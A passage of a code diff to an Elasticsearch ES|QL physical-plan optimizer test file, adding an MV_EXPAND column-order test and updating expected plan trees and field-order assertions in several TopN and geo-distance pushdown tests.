+     *     \_FieldExtractExec[_meta_field{f}#10, emp_no{f}#4, first_name{f}#5, ge..]&lt;[],[]&gt;
      *       \_EsQueryExec[test], indexMode[standard], query[{"wildcard":{"_index":{"wildcard":"test*","boost":0.0}}}][_doc{f}#27],
      *          limit[1000], sort[] estimatedRowSize[382]
      *
@@ -3166,6 +3163,56 @@ public void testProjectAwayAllColumnsWhenOnlyTheCountMattersInStats() {
         assertThat(Expressions.names(esQuery.attrs()), contains("_doc"));
     }
 
+    /**
+     * LimitExec[1000[INTEGER],336]
+     * \_MvExpandExec[foo_1{r}#4236,foo_1{r}#4253]
+     *   \_TopNExec[[Order[emp_no{f}#4242,ASC,LAST]],1000[INTEGER],336]
+     *     \_ExchangeExec[[_meta_field{f}#4248, emp_no{f}#4242, first_name{f}#4243, gender{f}#4244, hire_date{f}#4249, job{f}#4250, job.
+     * raw{f}#4251, languages{f}#4245, last_name{f}#4246, long_noidx{f}#4252, salary{f}#4247, foo_1{r}#4236, foo_2{r}#4238],
+     * false]
+     *       \_ProjectExec[[_meta_field{f}#4248, emp_no{f}#4242, first_name{f}#4243, gender{f}#4244, hire_date{f}#4249, job{f}#4250, job.
+     * raw{f}#4251, languages{f}#4245, last_name{f}#4246, long_noidx{f}#4252, salary{f}#4247, foo_1{r}#4236, foo_2{r}#4238]]
+     *         \_FieldExtractExec[_meta_field{f}#4248, emp_no{f}#4242, first_name{f}#..]&lt;[],[]&gt;
+     *           \_EvalExec[[1[INTEGER] AS foo_1#4236, 1[INTEGER] AS foo_2#4238]]
+     *             \_EsQueryExec[test], indexMode[standard], query[][_doc{f}#4268], limit[1000], sort[[FieldSort[field=emp_no{f}#4242,
+     *             direction=ASC, nulls=LAST]]] estimatedRowSize[352]
+     */
+    public void testProjectAwayMvExpandColumnOrder() {
+        var plan = optimizedPlan(physicalPlan("""
+            from test
+            | eval foo_1 = 1, foo_2 = 1
+            | sort emp_no
+            | mv_expand foo_1
+            """));
+        var limit = as(plan, LimitExec.class);
+        var mvExpand = as(limit.child(), MvExpandExec.class);
+        var topN = as(mvExpand.child(), TopNExec.class);
+        var exchange = as(topN.child(), ExchangeExec.class);
+        var project = as(exchange.child(), ProjectExec.class);
+
+        assertThat(
+            Expressions.names(project.projections()),
+            containsInRelativeOrder(
+                "_meta_field",
+                "emp_no",
+                "first_name",
+                "gender",
+                "hire_date",
+                "job",
+                "job.raw",
+                "languages",
+                "last_name",
+                "long_noidx",
+                "salary",
+                "foo_1",
+                "foo_2"
+            )
+        );
+        var fieldExtract = as(project.child(), FieldExtractExec.class);
+        var eval = as(fieldExtract.child(), EvalExec.class);
+        EsQueryExec esQuery = as(eval.child(), EsQueryExec.class);
+    }
+
     /**
      * ProjectExec[[a{r}#5]]
      * \_EvalExec[[__a_SUM@81823521{r}#15 / __a_COUNT@31645621{r}#16 AS a]]
@@ -5662,16 +5709,15 @@ public void testPushTopNWithFilterToSource() {
     }
 
     /**
-     * ProjectExec[[abbrev{f}#12321, name{f}#12322, location{f}#12325, country{f}#12326, city{f}#12327]]
-     * \_TopNExec[[Order[abbrev{f}#12321,ASC,LAST]],5[INTEGER],0]
-     *   \_ExchangeExec[[abbrev{f}#12321, name{f}#12322, location{f}#12325, country{f}#12326, city{f}#12327],false]
-     *     \_ProjectExec[[abbrev{f}#12321, name{f}#12322, location{f}#12325, country{f}#12326, city{f}#12327]]
-     *       \_FieldExtractExec[abbrev{f}#12321, name{f}#12322, location{f}#12325, ..][]
+     * ProjectExec[[abbrev{f}#4474, name{f}#4475, location{f}#4478, country{f}#4479, city{f}#4480]]
+     * \_TopNExec[[Order[abbrev{f}#4474,ASC,LAST]],5[INTEGER],221]
+     *   \_ExchangeExec[[abbrev{f}#4474, city{f}#4480, country{f}#4479, location{f}#4478, name{f}#4475],false]
+     *     \_ProjectExec[[abbrev{f}#4474, city{f}#4480, country{f}#4479, location{f}#4478, name{f}#4475]]
+     *       \_FieldExtractExec[abbrev{f}#4474, city{f}#4480, country{f}#4479, loca..]&lt;[],[]&gt;
      *         \_EsQueryExec[airports],
-     *           indexMode[standard],
-     *           query[][_doc{f}#12337],
-     *           limit[5],
-     *           sort[[FieldSort[field=abbrev{f}#12321, direction=ASC, nulls=LAST]]] estimatedRowSize[237]
+     *         indexMode[standard],
+     *         query[][_doc{f}#4490],
+     *         limit[5], sort[[FieldSort[field=abbrev{f}#4474, direction=ASC, nulls=LAST]]] estimatedRowSize[237]
      */
     public void testPushTopNKeywordToSource() {
         var optimized = optimizedPlan(physicalPlan("""
@@ -5686,9 +5732,9 @@ public void testPushTopNKeywordToSource() {
         var exchange = asRemoteExchange(topN.child());
 
         project = as(exchange.child(), ProjectExec.class);
-        assertThat(names(project.projections()), contains("abbrev", "name", "location", "country", "city"));
+        assertThat(names(project.projections()), contains("abbrev", "city", "country", "location", "name"));
         var extract = as(project.child(), FieldExtractExec.class);
-        assertThat(names(extract.attributesToExtract()), contains("abbrev", "name", "location", "country", "city"));
+        assertThat(names(extract.attributesToExtract()), contains("abbrev", "city", "country", "location", "name"));
         var source = source(extract.child());
         assertThat(source.limit(), is(topN.limit()));
         assertThat(source.sorts(), is(fieldSorts(topN.order())));
@@ -5704,13 +5750,13 @@ public void testPushTopNKeywordToSource() {
 
     /**
      * <code>
-     * ProjectExec[[abbrev{f}#12, name{f}#13, location{f}#16, country{f}#17, city{f}#18, abbrev{f}#12 AS code]]
-     * \_TopNExec[[Order[abbrev{f}#12,ASC,LAST]],5[INTEGER],0]
-     *   \_ExchangeExec[[abbrev{f}#12, name{f}#13, location{f}#16, country{f}#17, city{f}#18],false]
-     *     \_ProjectExec[[abbrev{f}#12, name{f}#13, location{f}#16, country{f}#17, city{f}#18]]
-     *       \_FieldExtractExec[abbrev{f}#12, name{f}#13, location{f}#16, country{f..][]
-     *         \_EsQueryExec[airports], indexMode[standard], query[][_doc{f}#29], limit[5],
-     *             sort[[FieldSort[field=abbrev{f}#12, direction=ASC, nulls=LAST]]] estimatedRowSize[237]
+     * ProjectExec[[abbrev{f}#7828, name{f}#7829, location{f}#7832, country{f}#7833, city{f}#7834, abbrev{f}#7828 AS code#7820]]
+     * \_TopNExec[[Order[abbrev{f}#7828,ASC,LAST]],5[INTEGER],221]
+     *   \_ExchangeExec[[abbrev{f}#7828, city{f}#7834, country{f}#7833, location{f}#7832, name{f}#7829],false]
+     *     \_ProjectExec[[abbrev{f}#7828, city{f}#7834, country{f}#7833, location{f}#7832, name{f}#7829]]
+     *       \_FieldExtractExec[abbrev{f}#7828, city{f}#7834, country{f}#7833, loca..]&lt;[],[]&gt;
+     *         \_EsQueryExec[airports], indexMode[standard], query[][_doc{f}#7845], limit[5],
+     *         sort[[FieldSort[field=abbrev{f}#7828, direction=ASC, nulls=LAST]]] estimatedRowSize[237]
      * </code>
      */
     public void testPushTopNAliasedKeywordToSource() {
@@ -5728,9 +5774,9 @@ public void testPushTopNAliasedKeywordToSource() {
         var exchange = asRemoteExchange(topN.child());
 
         project = as(exchange.child(), ProjectExec.class);
-        assertThat(names(project.projections()), contains("abbrev", "name", "location", "country", "city"));
+        assertThat(names(project.projections()), contains("abbrev", "city", "country", "location", "name"));
         var extract = as(project.child(), FieldExtractExec.class);
-        assertThat(names(extract.attributesToExtract()), contains("abbrev", "name", "location", "country", "city"));
+        assertThat(names(extract.attributesToExtract()), contains("abbrev", "city", "country", "location", "name"));
         var source = source(extract.child());
         assertThat(source.limit(), is(topN.limit()));
         assertThat(source.sorts(), is(fieldSorts(topN.order())));
@@ -5745,19 +5791,19 @@ public void testPushTopNAliasedKeywordToSource() {
     }
 
     /**
-     * ProjectExec[[abbrev{f}#11, name{f}#12, location{f}#15, country{f}#16, city{f}#17]]
-     * \_TopNExec[[Order[distance{r}#4,ASC,LAST]],5[INTEGER],0]
-     *   \_ExchangeExec[[abbrev{f}#11, name{f}#12, location{f}#15, country{f}#16, city{f}#17, distance{r}#4],false]
-     *     \_ProjectExec[[abbrev{f}#11, name{f}#12, location{f}#15, country{f}#16, city{f}#17, distance{r}#4]]
-     *       \_FieldExtractExec[abbrev{f}#11, name{f}#12, country{f}#16, city{f}#17][]
-     *         \_EvalExec[[STDISTANCE(location{f}#15,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT])
-     *             AS distance]]
-     *           \_FieldExtractExec[location{f}#15][]
+     * ProjectExec[[abbrev{f}#7283, name{f}#7284, location{f}#7287, country{f}#7288, city{f}#7289]]
+     * \_TopNExec[[Order[distance{r}#7276,ASC,LAST]],5[INTEGER],229]
+     *   \_ExchangeExec[[abbrev{f}#7283, city{f}#7289, country{f}#7288, location{f}#7287, name{f}#7284, distance{r}#7276],false]
+     *     \_ProjectExec[[abbrev{f}#7283, city{f}#7289, country{f}#7288, location{f}#7287, name{f}#7284, distance{r}#7276]]
+     *       \_FieldExtractExec[abbrev{f}#7283, city{f}#7289, country{f}#7288, name..]&lt;[],[]&gt;
+     *         \_EvalExec[[STDISTANCE(location{f}#7287,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT]) AS distan
+     * ce#7276]]
+     *           \_FieldExtractExec[location{f}#7287]&lt;[],[]&gt;
      *             \_EsQueryExec[airports],
-     *               indexMode[standard],
-     *               query[][_doc{f}#28],
-     *               limit[5],
-     *               sort[[GeoDistanceSort[field=location{f}#15, direction=ASC, lat=55.673, lon=12.565]]] estimatedRowSize[245]
+     *             indexMode[standard],
+     *             query[][_doc{f}#7300],
+     *             limit[5],
+     *             sort[[GeoDistanceSort[field=location{f}#7287, direction=ASC, lat=55.673, lon=12.565]]] estimatedRowSize[245]
      */
     public void testPushTopNDistanceToSource() {
         var optimized = optimizedPlan(physicalPlan("""
@@ -5773,9 +5819,9 @@ public void testPushTopNDistanceToSource() {
         var exchange = asRemoteExchange(topN.child());
 
         project = as(exchange.child(), ProjectExec.class);
-        assertThat(names(project.projections()), contains("abbrev", "name", "location", "country", "city", "distance"));
+        assertThat(names(project.projections()), contains("abbrev", "city", "country", "location", "name", "distance"));
         var extract = as(project.child(), FieldExtractExec.class);
-        assertThat(names(extract.attributesToExtract()), contains("abbrev", "name", "country", "city"));
+        assertThat(names(extract.attributesToExtract()), contains("abbrev", "city", "country", "name"));
         var evalExec = as(extract.child(), EvalExec.class);
         var alias = as(evalExec.fields().get(0), Alias.class);
         assertThat(alias.name(), is("distance"));
@@ -5802,20 +5848,19 @@ public void testPushTopNDistanceToSource() {
     }
 
     /**
-     * ProjectExec[[abbrev{f}#8, name{f}#9, location{f}#12, country{f}#13, city{f}#14]]
-     * \_TopNExec[[Order[$$order_by$0$0{r}#16,ASC,LAST]],5[INTEGER],0]
-     *   \_ExchangeExec[[abbrev{f}#8, name{f}#9, location{f}#12, country{f}#13, city{f}#14, $$order_by$0$0{r}#16],false]
-     *     \_ProjectExec[[abbrev{f}#8, name{f}#9, location{f}#12, country{f}#13, city{f}#14, $$order_by$0$0{r}#16]]
-     *       \_FieldExtractExec[abbrev{f}#8, name{f}#9, country{f}#13, city{f}#14][]
-     *         \_EvalExec[[
-     *             STDISTANCE(location{f}#12,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT]) AS $$order_by$0$0
-     *           ]]
-     *           \_FieldExtractExec[location{f}#12][]
+     *ProjectExec[[abbrev{f}#5258, name{f}#5259, location{f}#5262, country{f}#5263, city{f}#5264]]
+     * \_TopNExec[[Order[$$order_by$0$0{r}#5266,ASC,LAST]],5[INTEGER],229]
+     *   \_ExchangeExec[[abbrev{f}#5258, city{f}#5264, country{f}#5263, location{f}#5262, name{f}#5259, $$order_by$0$0{r}#5266],false]
+     *     \_ProjectExec[[abbrev{f}#5258, city{f}#5264, country{f}#5263, location{f}#5262, name{f}#5259, $$order_by$0$0{r}#5266]]
+     *       \_FieldExtractExec[abbrev{f}#5258, city{f}#5264, country{f}#5263, name..]&lt;[],[]&gt;
+     *         \_EvalExec[[STDISTANCE(location{f}#5262,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT]) AS $$orde
+     * r_by$0$0#5266]]
+     *           \_FieldExtractExec[location{f}#5262]&lt;[],[]&gt;
      *             \_EsQueryExec[airports],
-     *               indexMode[standard],
-     *               query[][_doc{f}#26],
-     *               limit[5],
-     *               sort[[GeoDistanceSort[field=location{f}#12, direction=ASC, lat=55.673, lon=12.565]]] estimatedRowSize[245]
+     *             indexMode[standard],
+     *             query[][_doc{f}#5276],
+     *             limit[5],
+     *             sort[[GeoDistanceSort[field=location{f}#5262, direction=ASC, lat=55.673, lon=12.565]]] estimatedRowSize[245]
      */
     public void testPushTopNInlineDistanceToSource() {
         var optimized = optimizedPlan(physicalPlan("""
@@ -5835,15 +5880,15 @@ public void testPushTopNInlineDistanceToSource() {
             names(project.projections()),
             contains(
                 equalTo("abbrev"),
-                equalTo("name"),
-                equalTo("location"),
-                equalTo("country"),
                 equalTo("city"),
+                equalTo("country"),
+                equalTo("location"),
+                equalTo("name"),
                 startsWith("$$order_by$0$")
             )
         );
         var extract = as(project.child(), FieldExtractExec.class);
-        assertThat(names(extract.attributesToExtract()), contains("abbrev", "name", "country", "city"));
+        assertThat(names(extract.attributesToExtract()), contains("abbrev", "city", "country", "name"));
         var evalExec = as(extract.child(), EvalExec.class);
         var alias = as(evalExec.fields().get(0), Alias.class);
         assertThat(alias.name(), startsWith("$$order_by$0$"));
@@ -5872,14 +5917,14 @@ public void testPushTopNInlineDistanceToSource() {
 
     /**
      * <code>
-     * ProjectExec[[abbrev{f}#12, name{f}#13, location{f}#16, country{f}#17, city{f}#18]]
-     * \_TopNExec[[Order[distance{r}#4,ASC,LAST]],5[INTEGER],0]
-     *   \_ExchangeExec[[abbrev{f}#12, name{f}#13, location{f}#16, country{f}#17, city{f}#18, distance{r}#4],false]
-     *     \_ProjectExec[[abbrev{f}#12, name{f}#13, location{f}#16, country{f}#17, city{f}#18, distance{r}#4]]
-     *       \_FieldExtractExec[abbrev{f}#12, name{f}#13, country{f}#17, city{f}#18][]
-     *         \_EvalExec[[STDISTANCE(location{f}#16,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT]) AS distance
-     * ]]
-     *           \_FieldExtractExec[location{f}#16][]
+     * ProjectExec[[abbrev{f}#361, name{f}#362, location{f}#365, country{f}#366, city{f}#367]]
+     * \_TopNExec[[Order[distance{r}#353,ASC,LAST]],5[INTEGER],229]
+     *   \_ExchangeExec[[abbrev{f}#361, city{f}#367, country{f}#366, location{f}#365, name{f}#362, distance{r}#353],false]
+     *     \_ProjectExec[[abbrev{f}#361, city{f}#367, country{f}#366, location{f}#365, name{f}#362, distance{r}#353]]
+     *       \_FieldExtractExec[abbrev{f}#361, city{f}#367, country{f}#366, name{f}..]&lt;[],[]&gt;
+     *         \_EvalExec[[STDISTANCE(location{f}#365,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT]) AS distanc
+     * e#353]]
+     *           \_FieldExtractExec[location{f}#365]&lt;[],[]&gt;
      *             \_EsQueryExec[airports], indexMode[standard], query[
      * {
      *   "geo_shape":{
@@ -5892,7 +5937,7 @@ public void testPushTopNInlineDistanceToSource() {
      *       }
      *     }
      *   }
-     * }][_doc{f}#29], limit[5], sort[[GeoDistanceSort[field=location{f}#16, direction=ASC, lat=55.673, lon=12.565]]] estimatedRowSize[245]
+     * ][_doc{f}#378], limit[5], sort[[GeoDistanceSort[field=location{f}#365, direction=ASC, lat=55.673, lon=12.565]]] estimatedRowSize[245]
      * </code>
      */
     public void testPushTopNDistanceWithFilterToSource() {
@@ -5910,9 +5955,9 @@ public void testPushTopNDistanceWithFilterToSource() {
         var exchange = asRemoteExchange(topN.child());
 
         project = as(exchange.child(), ProjectExec.class);
-        assertThat(names(project.projections()), contains("abbrev", "name", "location", "country", "city", "distance"));
+        assertThat(names(project.projections()), contains("abbrev", "city", "country", "location", "name", "distance"));
         var extract = as(project.child(), FieldExtractExec.class);
-        assertThat(names(extract.attributesToExtract()), contains("abbrev", "name", "country", "city"));
+        assertThat(names(extract.attributesToExtract()), contains("abbrev", "city", "country", "name"));
         var evalExec = as(extract.child(), EvalExec.class);
         var alias = as(evalExec.fields().get(0), Alias.class);
         assertThat(alias.name(), is("distance"));
@@ -5948,48 +5993,25 @@ public void testPushTopNDistanceWithFilterToSource() {
 
     /**
      * <code>
-     * ProjectExec[[abbrev{f}#14, name{f}#15, location{f}#18, country{f}#19, city{f}#20]]
-     * \_TopNExec[[Order[distance{r}#4,ASC,LAST]],5[INTEGER],0]
-     *   \_ExchangeExec[[abbrev{f}#14, name{f}#15, location{f}#18, country{f}#19, city{f}#20, distance{r}#4],false]
-     *     \_ProjectExec[[abbrev{f}#14, name{f}#15, location{f}#18, country{f}#19, city{f}#20, distance{r}#4]]
-     *       \_FieldExtractExec[abbrev{f}#14, name{f}#15, country{f}#19, city{f}#20][]
-     *         \_EvalExec[[STDISTANCE(location{f}#18,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT])
-     *           AS distance]]
-     *           \_FieldExtractExec[location{f}#18][]
-     *             \_EsQueryExec[airports], indexMode[standard], query[{
-     *               "bool":{
-     *                 "filter":[
-     *                   {
-     *                     "esql_single_value":{
-     *                       "field":"scalerank",
-     *                       "next":{"range":{"scalerank":{"lt":6,"boost":1.0}}},
-     *                       "source":"scalerank lt 6@3:31"
-     *                     }
-     *                   },
-     *                   {
-     *                     "bool":{
-     *                       "must":[
-     *                         {"geo_shape":{
-     *                           "location":{
-     *                             "relation":"INTERSECTS",
-     *                             "shape":{"type":"Circle","radius":"499999.99999999994m","coordinates":[12.565,55.673]}
-     *                           }
-     *                         }},
-     *                         {"geo_shape":{
-     *                           "location":{
-     *                             "relation":"DISJOINT",
-     *                             "shape":{"type":"Circle","radius":"10000.000000000002m","coordinates":[12.565,55.673]}
-     *                           }
-     *                         }}
-     *                       ],
-     *                       "boost":1.0
-     *                     }
-     *                   }
-     *                 ],
-     *                 "boost":1.0
-     *               }}][_doc{f}#31], limit[5], sort[[
-     *                 GeoDistanceSort[field=location{f}#18, direction=ASC, lat=55.673, lon=12.565]
-     *               ]] estimatedRowSize[245]
+     * ProjectExec[[abbrev{f}#6367, name{f}#6368, location{f}#6371, country{f}#6372, city{f}#6373]]
+     * \_TopNExec[[Order[distance{r}#6357,ASC,LAST]],5[INTEGER],229]
+     *   \_ExchangeExec[[abbrev{f}#6367, city{f}#6373, country{f}#6372, location{f}#6371, name{f}#6368, distance{r}#6357],false]
+     *     \_ProjectExec[[abbrev{f}#6367, city{f}#6373, country{f}#6372, location{f}#6371, name{f}#6368, distance{r}#6357]]
+     *       \_FieldExtractExec[abbrev{f}#6367, city{f}#6373, country{f}#6372, name..]&lt;[],[]&gt;
+     *         \_EvalExec[[STDISTANCE(location{f}#6371,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT]) AS distan
+     * ce#6357]]
+     *           \_FieldExtractExec[location{f}#6371]&lt;[],[]&gt;
+     *             \_EsQueryExec[airports], indexMode[standard], query[
+     *             {"bool":{"filter":[{"esql_single_value":{"field":"scalerank","next":{"range":
+     *             {"scalerank":{"lt":6,"boost":0.0}}},"source":"scalerank &lt; 6@3:31"}},
+     *             {"bool":{"must":[{"geo_shape":
+     *             {"location":{"relation":"INTERSECTS","shape":
+     *             {"type":"Circle","radius":"499999.99999999994m","coordinates":[12.565,55.673]}}}},
+     *             {"geo_shape":{"location":{"relation":"DISJOINT","shape":
+     *             {"type":"Circle","radius":"10000.000000000002m","coordinates":[12.565,55.673]}}}}]
+     *             ,"boost":1.0}}],"boost":1.0}}
+     *             ][_doc{f}#6384], limit[5], sort[
+     *             [GeoDistanceSort[field=location{f}#6371, direction=ASC, lat=55.673, lon=12.565]]] estimatedRowSize[245]
      * </code>
      */
     public void testPushTopNDistanceWithCompoundFilterToSource() {
@@ -6007,9 +6029,9 @@ public void testPushTopNDistanceWithCompoundFilterToSource() {
         var exchange = asRemoteExchange(topN.child());
 
         project = as(exchange.child(), ProjectExec.class);
-        assertThat(names(project.projections()), contains("abbrev", "name", "location", "country", "city", "distance"));
+        assertThat(names(project.projections()), contains("abbrev", "city", "country", "location", "name", "distance"));
         var extract = as(project.child(), FieldExtractExec.class);
-        assertThat(names(extract.attributesToExtract()), contains("abbrev", "name", "country", "city"));
+        assertThat(names(extract.attributesToExtract()), contains("abbrev", "city", "country", "name"));
         var evalExec = as(extract.child(), EvalExec.class);
         var alias = as(evalExec.fields().get(0), Alias.class);
         assertThat(alias.name(), is("distance"));
@@ -6047,35 +6069,28 @@ public void testPushTopNDistanceWithCompoundFilterToSource() {
     /**
      * Tests that multiple sorts, including distance and a field, are pushed down to the source.
      * <code>
-     * ProjectExec[[abbrev{f}#25, name{f}#26, location{f}#29, country{f}#30, city{f}#31, scalerank{f}#27, scale{r}#7]]
-     * \_TopNExec[[
-     *     Order[distance{r}#4,ASC,LAST],
-     *     Order[scalerank{f}#27,ASC,LAST],
-     *     Order[scale{r}#7,DESC,FIRST],
-     *     Order[loc{r}#10,DESC,FIRST]
-     *   ],5[INTEGER],0]
-     *   \_ExchangeExec[[abbrev{f}#25, name{f}#26, location{f}#29, country{f}#30, city{f}#31, scalerank{f}#27, scale{r}#7,
-     *       distance{r}#4, loc{r}#10],false]
-     *     \_ProjectExec[[abbrev{f}#25, name{f}#26, location{f}#29, country{f}#30, city{f}#31, scalerank{f}#27, scale{r}#7,
-     *         distance{r}#4, loc{r}#10]]
-     *       \_FieldExtractExec[abbrev{f}#25, name{f}#26, country{f}#30, city{f}#31][]
-     *         \_EvalExec[[
-     *             STDISTANCE(location{f}#29,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT]) AS distance,
-     *             10[INTEGER] - scalerank{f}#27 AS scale, TOSTRING(location{f}#29) AS loc
-     *           ]]
-     *           \_FieldExtractExec[location{f}#29, scalerank{f}#27][]
-     *             \_EsQueryExec[airports], indexMode[standard], query[{
-     *               "bool":{
-     *                 "filter":[
-     *                   {"esql_single_value":{"field":"scalerank","next":{...},"source":"scalerank &lt; 6@3:31"}},
-     *                   {"bool":{
-     *                     "must":[
-     *                       {"geo_shape":{"location":{"relation":"INTERSECTS","shape":{...}}}},
-     *                       {"geo_shape":{"location":{"relation":"DISJOINT","shape":{...}}}}
-     *                     ],"boost":1.0}}],"boost":1.0}}][_doc{f}#44], limit[5], sort[[
-     *                       GeoDistanceSort[field=location{f}#29, direction=ASC, lat=55.673, lon=12.565],
-     *                       FieldSort[field=scalerank{f}#27, direction=ASC, nulls=LAST]
-     *                     ]] estimatedRowSize[303]
+     * ProjectExec[[abbrev{f}#7429, name{f}#7430, location{f}#7433, country{f}#7434, city{f}#7435, scalerank{f}#7431, scale{r}#74
+     * 11]]
+     * \_TopNExec[[Order[distance{r}#7408,ASC,LAST], Order[scalerank{f}#7431,ASC,LAST], Order[scale{r}#7411,DESC,FIRST], Order[l
+     * oc{r}#7414,DESC,FIRST]],5[INTEGER],287]
+     *   \_ExchangeExec[[abbrev{f}#7429, city{f}#7435, country{f}#7434, location{f}#7433, name{f}#7430, scalerank{f}#7431, distance{r}
+     * #7408, scale{r}#7411, loc{r}#7414],false]
+     *     \_ProjectExec[[abbrev{f}#7429, city{f}#7435, country{f}#7434, location{f}#7433, name{f}#7430, scalerank{f}#7431, distance{r}
+     * #7408, scale{r}#7411, loc{r}#7414]]
+     *       \_FieldExtractExec[abbrev{f}#7429, city{f}#7435, country{f}#7434, name..]&lt;[],[]&gt;
+     *         \_EvalExec[[STDISTANCE(location{f}#7433,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT]) AS distan
+     * ce#7408, 10[INTEGER] - scalerank{f}#7431 AS scale#7411, TOSTRING(location{f}#7433) AS loc#7414]]
+     *           \_FieldExtractExec[location{f}#7433, scalerank{f}#7431]&lt;[],[]&gt;
+     *             \_EsQueryExec[airports], indexMode[standard], query[
+     *             {"bool":{"filter":[{"esql_single_value":{"field":"scalerank","next":
+     *             {"range":{"scalerank":{"lt":6,"boost":0.0}}},"source":"scalerank &lt; 6@3:31"}},
+     *             {"bool":{"must":[{"geo_shape":{"location":{"relation":"INTERSECTS","shape":
+     *             {"type":"Circle","radius":"499999.99999999994m","coordinates":[12.565,55.673]}}}},
+     *             {"geo_shape":{"location":{"relation":"DISJOINT","shape":
+     *             {"type":"Circle","radius":"10000.000000000002m","coordinates":[12.565,55.673]}}}}],
+     *             "boost":1.0}}],"boost":1.0}}][_doc{f}#7448], limit[5], sort[
+     *             [GeoDistanceSort[field=location{f}#7433, direction=ASC, lat=55.673, lon=12.565],
+     *             FieldSort[field=scalerank{f}#7431, direction=ASC, nulls=LAST]]] estimatedRowSize[303]
      * </code>
      */
     public void testPushTopNDistanceAndPushableFieldWithCompoundFilterToSource() {
@@ -6096,10 +6111,10 @@ public void testPushTopNDistanceAndPushableFieldWithCompoundFilterToSource() {
         project = as(exchange.child(), ProjectExec.class);
         assertThat(
             names(project.projections()),
-            contains("abbrev", "name", "location", "country", "city", "scalerank", "scale", "distance", "loc")
+            contains("abbrev", "city", "country", "location", "name", "scalerank", "distance", "scale", "loc")
         );
         var extract = as(project.child(), FieldExtractExec.class);
-        assertThat(names(extract.attributesToExtract()), contains("abbrev", "name", "country", "city"));
+        assertThat(names(extract.attributesToExtract()), contains("abbrev", "city", "country", "name"));
         var evalExec = as(extract.child(), EvalExec.class);
         var alias = as(evalExec.fields().get(0), Alias.class);
         assertThat(alias.name(), is("distance"));
@@ -6141,26 +6156,30 @@ public void testPushTopNDistanceAndPushableFieldWithCompoundFilterToSource() {
     /**
      * This test shows that if the filter contains a predicate on the same field that is sorted, we cannot push down the sort.
      * <code>
-     * ProjectExec[[abbrev{f}#23, name{f}#24, location{f}#27, country{f}#28, city{f}#29, scalerank{f}#25 AS scale]]
-     * \_TopNExec[[Order[distance{r}#4,ASC,LAST], Order[scalerank{f}#25,ASC,LAST]],5[INTEGER],0]
-     *   \_ExchangeExec[[abbrev{f}#23, name{f}#24, location{f}#27, country{f}#28, city{f}#29, scalerank{f}#25, distance{r}#4],false]
-     *     \_ProjectExec[[abbrev{f}#23, name{f}#24, location{f}#27, country{f}#28, city{f}#29, scalerank{f}#25, distance{r}#4]]
-     *       \_FieldExtractExec[abbrev{f}#23, name{f}#24, country{f}#28, city{f}#29][]
-     *         \_TopNExec[[Order[distance{r}#4,ASC,LAST], Order[scalerank{f}#25,ASC,LAST]],5[INTEGER],208]
-     *           \_FieldExtractExec[scalerank{f}#25][]
-     *             \_FilterExec[SUBSTRING(position{r}#7,1[INTEGER],5[INTEGER]) == [50 4f 49 4e 54][KEYWORD]]
-     *               \_EvalExec[[
-     *                   STDISTANCE(location{f}#27,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT]) AS distance,
-     *                   TOSTRING(location{f}#27) AS position
-     *                 ]]
-     *                 \_FieldExtractExec[location{f}#27][]
-     *                   \_EsQueryExec[airports], indexMode[standard], query[{
-     *                     "bool":{"filter":[
-     *                       {"esql_single_value":{"field":"scalerank","next":{"range":{"scalerank":{"lt":6,"boost":1.0}}},"source":...}},
-     *                       {"bool":{"must":[
-     *                         {"geo_shape":{"location":{"relation":"INTERSECTS","shape":{...}}}},
-     *                         {"geo_shape":{"location":{"relation":"DISJOINT","shape":{...}}}}
-     *                       ],"boost":1.0}}],"boost":1.0}}][_doc{f}#42], limit[], sort[] estimatedRowSize[87]
+     * ProjectExec[[abbrev{f}#4856, name{f}#4857, location{f}#4860, country{f}#4861, city{f}#4862, scalerank{f}#4858 AS scale#484
+     * 3]]
+     * \_TopNExec[[Order[distance{r}#4837,ASC,LAST], Order[scalerank{f}#4858,ASC,LAST]],5[INTEGER],233]
+     *   \_ExchangeExec[[abbrev{f}#4856, city{f}#4862, country{f}#4861, location{f}#4860, name{f}#4857, scalerank{f}#4858, distance{r}
+     * #4837],false]
+     *     \_ProjectExec[[abbrev{f}#4856, city{f}#4862, country{f}#4861, location{f}#4860, name{f}#4857, scalerank{f}#4858, distance{r}
+     * #4837]]
+     *       \_FieldExtractExec[abbrev{f}#4856, city{f}#4862, country{f}#4861, name..]&lt;[],[]&gt;
+     *         \_TopNExec[[Order[distance{r}#4837,ASC,LAST], Order[scalerank{f}#4858,ASC,LAST]],5[INTEGER],303]
+     *           \_FieldExtractExec[scalerank{f}#4858]&lt;[],[]&gt;
+     *             \_FilterExec[SUBSTRING(position{r}#4840,1[INTEGER],5[INTEGER]) == POINT[KEYWORD]]
+     *               \_EvalExec[[STDISTANCE(location{f}#4860,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT]) AS
+     * distance#4837, TOSTRING(location{f}#4860) AS position#4840]]
+     *                 \_FieldExtractExec[location{f}#4860]&lt;[],[]&gt;
+     *                   \_EsQueryExec[airports], indexMode[standard], query[
+     *                   {"bool":{"filter":[
+     *                   {"esql_single_value":
+     *                   {"field":"scalerank","next":{"range":{"scalerank":{"lt":6,"boost":0.0}}},"source":"scale &lt; 6@3:93"}},
+     *                   {"bool":{"must":[
+     *                   {"geo_shape":{"location":{"relation":"INTERSECTS","shape":
+     *                   {"type":"Circle","radius":"499999.99999999994m","coordinates":[12.565,55.673]}}}},
